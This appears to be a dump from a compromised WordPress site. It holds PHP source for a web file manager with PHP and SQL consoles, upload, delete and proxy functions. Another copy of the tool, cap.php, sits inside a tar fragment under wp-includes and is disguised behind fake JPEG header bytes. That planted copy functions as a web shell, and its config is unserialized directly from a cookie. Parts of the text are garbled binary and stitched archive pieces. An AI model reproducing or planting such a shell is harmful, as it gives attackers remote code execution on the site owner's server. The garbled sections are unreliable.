        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
